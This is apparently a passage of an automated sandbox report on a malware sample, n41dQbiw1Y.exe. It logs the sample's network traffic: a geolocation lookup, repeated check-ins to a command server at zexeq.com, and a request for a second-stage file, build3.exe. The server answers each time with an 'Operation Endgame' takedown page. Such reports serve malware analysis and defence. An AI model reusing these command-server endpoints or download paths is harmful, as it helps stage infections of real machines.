Jan 9, 2025 21:16:50.030781031 CET	80	49735	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:50.230815887 CET	80	49735	188.40.141.211	192.168.2.4
Jan 9, 2025 21:16:50.231002092 CET	49735	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:16:50.467541933 CET	57796	53	192.168.2.4	1.1.1.1
Jan 9, 2025 21:16:50.473910093 CET	53	57796	1.1.1.1	192.168.2.4
Jan 9, 2025 21:16:50.474092007 CET	57796	53	192.168.2.4	1.1.1.1
Jan 9, 2025 21:16:51.930808067 CET	57797	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:51.930898905 CET	443	57797	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:51.931184053 CET	57797	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:51.942431927 CET	57797	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:51.942471027 CET	443	57797	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:52.423536062 CET	443	57797	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:52.423985958 CET	57797	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:52.428839922 CET	57797	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:52.428894043 CET	443	57797	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:52.429420948 CET	443	57797	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:52.429594994 CET	57797	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:52.430722952 CET	57797	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:52.471409082 CET	443	57797	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:52.809216976 CET	443	57797	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:52.809376001 CET	443	57797	104.21.80.1	192.168.2.4
Jan 9, 2025 21:16:52.809438944 CET	57797	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:52.809439898 CET	57797	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:52.810112000 CET	57797	443	192.168.2.4	104.21.80.1
Jan 9, 2025 21:16:52.810173988 CET	443	57797	104.21.80.1	192.168.2.4
Jan 9, 2025 21:17:03.579117060 CET	53649	53	192.168.2.4	1.1.1.1
Jan 9, 2025 21:17:03.585110903 CET	53	53649	1.1.1.1	192.168.2.4
Jan 9, 2025 21:17:03.585182905 CET	53649	53	192.168.2.4	1.1.1.1
Jan 9, 2025 21:17:03.590651035 CET	53	53649	1.1.1.1	192.168.2.4
Jan 9, 2025 21:17:04.054049969 CET	53649	53	192.168.2.4	1.1.1.1
Jan 9, 2025 21:17:04.059567928 CET	53	53649	1.1.1.1	192.168.2.4
Jan 9, 2025 21:17:04.059695005 CET	53649	53	192.168.2.4	1.1.1.1
Jan 9, 2025 21:17:56.385304928 CET	49734	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:18:06.035912991 CET	80	49735	188.40.141.211	192.168.2.4
Jan 9, 2025 21:18:06.035969019 CET	49735	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:18:22.292382956 CET	49735	80	192.168.2.4	188.40.141.211
Jan 9, 2025 21:18:22.297336102 CET	80	49735	188.40.141.211	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 21:16:29.123889923 CET	60228	53	192.168.2.4	1.1.1.1
Jan 9, 2025 21:16:29.134573936 CET	53	60228	1.1.1.1	192.168.2.4
Jan 9, 2025 21:16:32.597759962 CET	65172	53	192.168.2.4	1.1.1.1
Jan 9, 2025 21:16:32.598822117 CET	50461	53	192.168.2.4	1.1.1.1
Jan 9, 2025 21:16:32.610169888 CET	53	65172	1.1.1.1	192.168.2.4
Jan 9, 2025 21:16:32.872056961 CET	53	50461	1.1.1.1	192.168.2.4
Jan 9, 2025 21:16:49.925400019 CET	53	58423	1.1.1.1	192.168.2.4
Jan 9, 2025 21:17:03.578754902 CET	53	55383	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 9, 2025 21:16:29.123889923 CET	192.168.2.4	1.1.1.1	0x5801	Standard query (0)	api.2ip.ua	A (IP address)	IN (0x0001)	false
Jan 9, 2025 21:16:32.597759962 CET	192.168.2.4	1.1.1.1	0x4348	Standard query (0)	colisumy.com	A (IP address)	IN (0x0001)	false
Jan 9, 2025 21:16:32.598822117 CET	192.168.2.4	1.1.1.1	0x938a	Standard query (0)	zexeq.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jan 9, 2025 21:16:29.134573936 CET	1.1.1.1	192.168.2.4	0x5801	No error (0)	api.2ip.ua	104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 21:16:29.134573936 CET	1.1.1.1	192.168.2.4	0x5801	No error (0)	api.2ip.ua	104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 21:16:29.134573936 CET	1.1.1.1	192.168.2.4	0x5801	No error (0)	api.2ip.ua	104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 21:16:29.134573936 CET	1.1.1.1	192.168.2.4	0x5801	No error (0)	api.2ip.ua	104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 21:16:29.134573936 CET	1.1.1.1	192.168.2.4	0x5801	No error (0)	api.2ip.ua	104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 21:16:29.134573936 CET	1.1.1.1	192.168.2.4	0x5801	No error (0)	api.2ip.ua	104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 21:16:29.134573936 CET	1.1.1.1	192.168.2.4	0x5801	No error (0)	api.2ip.ua	104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 21:16:32.610169888 CET	1.1.1.1	192.168.2.4	0x4348	No error (0)	colisumy.com	127.0.0.1	A (IP address)	IN (0x0001)	false
Jan 9, 2025 21:16:32.872056961 CET	1.1.1.1	192.168.2.4	0x938a	No error (0)	zexeq.com	188.40.141.211	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

zexeq.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49734	188.40.141.211	80	7416	C:\Users\user\Desktop\n41dQbiw1Y.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 21:16:32.881339073 CET	136	OUT	GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com
Jan 9, 2025 21:16:33.529405117 CET	571	IN	HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Thu, 09 Jan 2025 20:16:33 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4f 70 65 72 61 74 69 6f 6e 20 45 6e 64 67 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 76 69 64 65 6f 20 70 6c 61 79 73 69 6e 6c 69 6e 65 20 61 75 74 6f 70 6c 61 79 20 6d 75 74 65 64 20 6c 6f 6f 70 20 68 65 69 67 68 74 3d 22 61 75 74 6f 22 20 77 69 64 74 68 3d 31 30 30 25 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 6f 75 72 63 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6f 70 65 6e 64 67 61 6d 65 2e 64 64 6e 73 2e 6e 65 74 2f 65 6e 64 67 61 6d 65 22 20 74 79 70 65 3d 22 76 69 64 65 6f 2f 77 65 62 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e [TRUNCATED] Data Ascii: <!DOCTYPE html> <html> <head> <title>Operation Endgame</title> </head> <body> <video playsinline autoplay muted loop height="auto" width=100%> <source src="https://opendgame.ddns.net/endgame" type="video/webm"> Your browser does not support the video tag. </video> </body> </html>
Jan 9, 2025 21:16:34.634443998 CET	94	OUT	GET /files/1/build3.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com
Jan 9, 2025 21:16:34.826172113 CET	571	IN	HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Thu, 09 Jan 2025 20:16:34 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4f 70 65 72 61 74 69 6f 6e 20 45 6e 64 67 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 76 69 64 65 6f 20 70 6c 61 79 73 69 6e 6c 69 6e 65 20 61 75 74 6f 70 6c 61 79 20 6d 75 74 65 64 20 6c 6f 6f 70 20 68 65 69 67 68 74 3d 22 61 75 74 6f 22 20 77 69 64 74 68 3d 31 30 30 25 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 6f 75 72 63 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6f 70 65 6e 64 67 61 6d 65 2e 64 64 6e 73 2e 6e 65 74 2f 65 6e 64 67 61 6d 65 22 20 74 79 70 65 3d 22 76 69 64 65 6f 2f 77 65 62 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e [TRUNCATED] Data Ascii: <!DOCTYPE html> <html> <head> <title>Operation Endgame</title> </head> <body> <video playsinline autoplay muted loop height="auto" width=100%> <source src="https://opendgame.ddns.net/endgame" type="video/webm"> Your browser does not support the video tag. </video> </body> </html>
Jan 9, 2025 21:16:38.571423054 CET	136	OUT	GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com
Jan 9, 2025 21:16:38.819839001 CET	571	IN	HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Thu, 09 Jan 2025 20:16:38 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4f 70 65 72 61 74 69 6f 6e 20 45 6e 64 67 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 76 69 64 65 6f 20 70 6c 61 79 73 69 6e 6c 69 6e 65 20 61 75 74 6f 70 6c 61 79 20 6d 75 74 65 64 20 6c 6f 6f 70 20 68 65 69 67 68 74 3d 22 61 75 74 6f 22 20 77 69 64 74 68 3d 31 30 30 25 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 6f 75 72 63 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6f 70 65 6e 64 67 61 6d 65 2e 64 64 6e 73 2e 6e 65 74 2f 65 6e 64 67 61 6d 65 22 20 74 79 70 65 3d 22 76 69 64 65 6f 2f 77 65 62 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e [TRUNCATED] Data Ascii: <!DOCTYPE html> <html> <head> <title>Operation Endgame</title> </head> <body> <video playsinline autoplay muted loop height="auto" width=100%> <source src="https://opendgame.ddns.net/endgame" type="video/webm"> Your browser does not support the video tag. </video> </body> </html>
Jan 9, 2025 21:16:43.915390015 CET	136	OUT	GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com
Jan 9, 2025 21:16:44.109762907 CET	571	IN	HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Thu, 09 Jan 2025 20:16:44 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4f 70 65 72 61 74 69 6f 6e 20 45 6e 64 67 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 76 69 64 65 6f 20 70 6c 61 79 73 69 6e 6c 69 6e 65 20 61 75 74 6f 70 6c 61 79 20 6d 75 74 65 64 20 6c 6f 6f 70 20 68 65 69 67 68 74 3d 22 61 75 74 6f 22 20 77 69 64 74 68 3d 31 30 30 25 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 6f 75 72 63 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6f 70 65 6e 64 67 61 6d 65 2e 64 64 6e 73 2e 6e 65 74 2f 65 6e 64 67 61 6d 65 22 20 74 79 70 65 3d 22 76 69 64 65 6f 2f 77 65 62 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e [TRUNCATED] Data Ascii: <!DOCTYPE html> <html> <head> <title>Operation Endgame</title> </head> <body> <video playsinline autoplay muted loop height="auto" width=100%> <source src="https://opendgame.ddns.net/endgame" type="video/webm"> Your browser does not support the video tag. </video> </body> </html>
Jan 9, 2025 21:16:49.134115934 CET	136	OUT	GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com
Jan 9, 2025 21:16:49.327002048 CET	571	IN	HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Thu, 09 Jan 2025 20:16:49 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4f 70 65 72 61 74 69 6f 6e 20 45 6e 64 67 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 76 69 64 65 6f 20 70 6c 61 79 73 69 6e 6c 69 6e 65 20 61 75 74 6f 70 6c 61 79 20 6d 75 74 65 64 20 6c 6f 6f 70 20 68 65 69 67 68 74 3d 22 61 75 74 6f 22 20 77 69 64 74 68 3d 31 30 30 25 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 6f 75 72 63 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6f 70 65 6e 64 67 61 6d 65 2e 64 64 6e 73 2e 6e 65 74 2f 65 6e 64 67 61 6d 65 22 20 74 79 70 65 3d 22 76 69 64 65 6f 2f 77 65 62 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e [TRUNCATED] Data Ascii: <!DOCTYPE html> <html> <head> <title>Operation Endgame</title> </head> <body> <video playsinline autoplay muted loop height="auto" width=100%> <source src="https://opendgame.ddns.net/endgame" type="video/webm"> Your browser does not support the video tag. </video> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	188.40.141.211	80	7476	C:\Users\user\AppData\Local\40d9a5c5-1720-48cf-8d23-cf020cc38b03\n41dQbiw1Y.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 21:16:33.395494938 CET	125	OUT	GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com
Jan 9, 2025 21:16:34.025017977 CET	571	IN	HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Thu, 09 Jan 2025 20:16:33 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4f 70 65 72 61 74 69 6f 6e 20 45 6e 64 67 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 76 69 64 65 6f 20 70 6c 61 79 73 69 6e 6c 69 6e 65 20 61 75 74 6f 70 6c 61 79 20 6d 75 74 65 64 20 6c 6f 6f 70 20 68 65 69 67 68 74 3d 22 61 75 74 6f 22 20 77 69 64 74 68 3d 31 30 30 25 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 6f 75 72 63 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6f 70 65 6e 64 67 61 6d 65 2e 64 64 6e 73 2e 6e 65 74 2f 65 6e 64 67 61 6d 65 22 20 74 79 70 65 3d 22 76 69 64 65 6f 2f 77 65 62 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e [TRUNCATED] Data Ascii: <!DOCTYPE html> <html> <head> <title>Operation Endgame</title> </head> <body> <video playsinline autoplay muted loop height="auto" width=100%> <source src="https://opendgame.ddns.net/endgame" type="video/webm"> Your browser does not support the video tag. </video> </body> </html>
Jan 9, 2025 21:16:39.370863914 CET	125	OUT	GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com
Jan 9, 2025 21:16:39.579627991 CET	571	IN	HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Thu, 09 Jan 2025 20:16:39 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4f 70 65 72 61 74 69 6f 6e 20 45 6e 64 67 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 76 69 64 65 6f 20 70 6c 61 79 73 69 6e 6c 69 6e 65 20 61 75 74 6f 70 6c 61 79 20 6d 75 74 65 64 20 6c 6f 6f 70 20 68 65 69 67 68 74 3d 22 61 75 74 6f 22 20 77 69 64 74 68 3d 31 30 30 25 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 6f 75 72 63 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6f 70 65 6e 64 67 61 6d 65 2e 64 64 6e 73 2e 6e 65 74 2f 65 6e 64 67 61 6d 65 22 20 74 79 70 65 3d 22 76 69 64 65 6f 2f 77 65 62 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e [TRUNCATED] Data Ascii: <!DOCTYPE html> <html> <head> <title>Operation Endgame</title> </head> <body> <video playsinline autoplay muted loop height="auto" width=100%> <source src="https://opendgame.ddns.net/endgame" type="video/webm"> Your browser does not support the video tag. </video> </body> </html>
Jan 9, 2025 21:16:44.743365049 CET	125	OUT	GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com
Jan 9, 2025 21:16:44.931413889 CET	571	IN	HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Thu, 09 Jan 2025 20:16:44 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4f 70 65 72 61 74 69 6f 6e 20 45 6e 64 67 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 76 69 64 65 6f 20 70 6c 61 79 73 69 6e 6c 69 6e 65 20 61 75 74 6f 70 6c 61 79 20 6d 75 74 65 64 20 6c 6f 6f 70 20 68 65 69 67 68 74 3d 22 61 75 74 6f 22 20 77 69 64 74 68 3d 31 30 30 25 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 6f 75 72 63 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6f 70 65 6e 64 67 61 6d 65 2e 64 64 6e 73 2e 6e 65 74 2f 65 6e 64 67 61 6d 65 22 20 74 79 70 65 3d 22 76 69 64 65 6f 2f 77 65 62 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e [TRUNCATED] Data Ascii: <!DOCTYPE html> <html> <head> <title>Operation Endgame</title> </head> <body> <video playsinline autoplay muted loop height="auto" width=100%> <source src="https://opendgame.ddns.net/endgame" type="video/webm"> Your browser does not support the video tag. </video> </body> </html>
Jan 9, 2025 21:16:50.024885893 CET	125	OUT	GET /raud/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: zexeq.com
Jan 9, 2025 21:16:50.230815887 CET	571	IN	HTTP/1.1 200 OK Content-Type: html; charset=utf-8 Server: nginx/1.18.0 Content-Length: 437 Date: Thu, 09 Jan 2025 20:16:50 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 4f 70 65 72 61 74 69 6f 6e 20 45 6e 64 67 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 76 69 64 65 6f 20 70 6c 61 79 73 69 6e 6c 69 6e 65 20 61 75 74 6f 70 6c 61 79 20 6d 75 74 65 64 20 6c 6f 6f 70 20 68 65 69 67 68 74 3d 22 61 75 74 6f 22 20 77 69 64 74 68 3d 31 30 30 25 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 6f 75 72 63 65 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6f 70 65 6e 64 67 61 6d 65 2e 64 64 6e 73 2e 6e 65 74 2f 65 6e 64 67 61 6d 65 22 20 74 79 70 65 3d 22 76 69 64 65 6f 2f 77 65 62 6d 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 59 6f 75 72 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e [TRUNCATED] Data Ascii: <!DOCTYPE html> <html> <head> <title>Operation Endgame</title> </head> <body> <video playsinline autoplay muted loop height="auto" width=100%> <source src="https://opendgame.ddns.net/endgame" type="video/webm"> Your browser does not support the video tag. </video> </body> </html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.80.1	443	7288	C:\Users\user\Desktop\n41dQbiw1Y.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 20:16:29 UTC	85	OUT	GET /geo.json HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: api.2ip.ua
2025-01-09 20:16:30 UTC	1105	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 20:16:30 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close strict-transport-security: max-age=63072000; preload x-frame-options: SAMEORIGIN x-content-type-options: nosniff x-xss-protection: 1; mode=block; report=... access-control-allow-origin: * access-control-allow-methods: POST, GET, PUT, OPTIONS, PATCH, DELETE access-control-allow-headers: X-Accept-Charset,X-Accept,Content-Type cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZluO0KYcs73dWmYCp9%2FrfkoCehtj1bNgp%2FnSw1PNBgKNe2iECCyaVmm8AwuMDOYXwWZYwnIoyRfT06bI4yrx7%2Bqk8uiFIawW3J4tMt2cAbYjoXKrqd%2BFPIhtfK0c"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff71afa0f0542d2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2396&min_rtt=1613&rtt_var=1164&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2808&recv_bytes=723&delivery_rate=1810291&cwnd=229&unsent_bytes=0&cid=b5d5dc5aaebd69c9&ts=419&x=0"
2025-01-09 20:16:30 UTC	264	IN	Data Raw: 31 39 63 0d 0a 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 22 63 6f 75 6e 74 72 79 5f 63 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 22 3a 22 55 6e 69 74 65 64 20 73 74 61 74 65 73 20 6f 66 20 61 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 5f 72 75 73 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 63 6f 75 6e 74 72 79 5f 75 61 22 3a 22 5c 75 30 34 32 31 5c 75 30 34 32 38 5c 75 30 34 31 30 22 2c 22 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 79 6f 72 6b 22 2c 22 72 65 67 69 6f 6e 5f 72 75 73 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 63 5c 75 30 34 34 65 2d 5c 75 30 34 31 39 5c 75 30 34 33 65 5c 75 30 34 34 30 5c 75 30 34 33 61 22 2c 22 72 65 67 69 6f 6e 5f 75 61 22 3a 22 5c 75 30 34 31 64 5c 75 30 34 34 Data Ascii: 19c{"ip":"8.46.123.189","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044
